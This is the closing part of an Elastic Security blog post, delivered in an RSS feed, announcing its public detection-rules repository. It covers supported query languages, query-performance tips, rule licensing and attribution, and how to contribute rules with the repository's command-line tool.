<p>Since the Elastic Stack supports multiple languages, our rules should reflect that. Query languages are typically developed to solve different types of problems, and we shouldn’t constrain rule developers to a single language if another does the job better. We currently have <a href="https://www.elastic.co/guide/en/kibana/master/kuery-query.html">KQL</a> and <a href="https://www.elastic.co/guide/en/kibana/current/lucene-query.html">Lucene</a> rules, along with rules that use <a href="https://www.elastic.co/guide/en/machine-learning/6.8/ml-jobs.html">machine learning anomaly detection</a> jobs in the repository. We’re <a href="https://github.com/elastic/elasticsearch/issues/49581">working hard</a> to bring <a href="https://eql.readthedocs.io">EQL</a> to the Elastic Stack and into our repository.</p>
<p>We can also ensure best practices are being followed for optimal Elasticsearch performance. For example, searching for process.path:*\\cmd.exe requires performing a wildcard check, which is more costly than a simple keyword check. Instead of searches containing leading wildcards, we can recommend using process.name:cmd.exe, which will result in better performance and the most accurate results. On a similar note, ECS also contains the field process.args, which is a parsed version of process.command_line. We recommend using the parsed field instead, because it gives us better performance and means that we are much less prone to <a href="https://github.com/elastic/detection-rules/blob/main/PHILOSOPHY.md#does-a-rule-have-trivial-evasions">trivial whitespace or quotation-based evasions</a>. Win-win.</p>
<h2 id="caniaddrulesfromanotherrepository">Can I add rules from another repository?</h2>
<p>Within your own environment, you’re welcome to add rules to your own detection engine as long as your Kibana role has the right permissions. If you want to add rules to the <a href="https://github.com/elastic/detection-rules">elastic/detection-rules</a> repository, the answer is an unsurprising: <a href="https://www.elastic.co/blog/it-depends"><em>It depends…</em></a><em>.</em> As long as a rule can be sublicensed under the Elastic License, this is fair game. Most of the time, the requirements are fairly straightforward — retain the original authors in the rule.author array, and update the NOTICE.txt file accordingly to give attribution to the original authors. We don’t want to take credit for someone else’s work, so please help us be thorough!</p>
<p>For more information on how we approach licensing in the repository, check the <a href="https://github.com/elastic/detection-rules#licensing">Licensing</a> section of the README.</p>
<h2 id="howdoicontribute">How do I contribute?</h2>
<p>Eager to share your rule logic? Hop on over to <a href="https://github.com/elastic/detection-rules">elastic/detection-rules</a> on GitHub. We have detailed instructions there for navigating the repository, forking and cloning, and creating a rule. We include a command line tool for bulk editing the files and to make creating new rules easier. When you’re ready to add a new rule to the repository, run python -m detection_rules create-rule, and you’ll be prompted for the required metadata. We recommend using the CLI when possible, because it reduces copy-and-paste errors that happen when reusing contents from a TOML file from another rule or template.</p>
<p>When your rule is in a good state, you can run the command python -m detection_rules test to locally perform unit tests, which validate syntax, schema usage, etc. Then, create the pull request and someone on the Intelligence &amp; Analytics team will review the contribution. If we request any changes, we’ll work with you to make the recommended changes.</p>
<p>If you have a good idea for a rule, but want to collaborate with us on the idea or get feedback, feel free to create a <a href="https://github.com/elastic/detection-rules/issues/new/choose">New Rule</a> issue. We look forward to helping and brainstorming with you!</p>
<p>For more information, check out the <a href="https://github.com/elastic/detection-rules/tree/main/CONTRIBUTING.md">contribution</a> guide.</p>
<h2 id="whatsnext">What’s next?</h2>
<p>Welcome to our new rules repository and workflow! Your contributions are encouraged, and we look forward to seeing your name in the rule.author field. The detection rules repository will continue to evolve along with the rest of Elastic Security, and we’re excited for what’s next.</p>
<p>If you want to track the development of EQL in the stack, subscribe to this <a href="https://github.com/elastic/elasticsearch/issues/49581">GitHub issue</a>. Or take a peek at the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">ongoing documentation</a> to watch what the Elasticsearch team is up to.</p>
<p>If you have any feedback or questions writing rules or navigating our new <a href="https://github.com/elastic/detection-rules">detection rules</a> GitHub repository, please <a href="https://github.com/elastic/detection-rules/issues/new/choose">create an issue</a> in GitHub, reach out on the <a href="https://discuss.elastic.co/c/security">discussion forum</a> with the <em>detection-rules</em> tag, or find us in the <em>#detection-rules</em> channel of the <a href="http://ela.st/slack">Elastic Slack Community</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/elastic-security-opens-public-detection-rules-repo</link>
    <guid isPermaLink="false">elastic-security-opens-public-detection-rules-repo</guid>
    <category><![CDATA[SOC]]></category>
    <dc:creator><![CDATA[Ross Wolf,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf9adba0b8e94dc90/6a7d7fa405b7b55855188b14/blog-thumb-gears-steel.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 20 May 2022 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>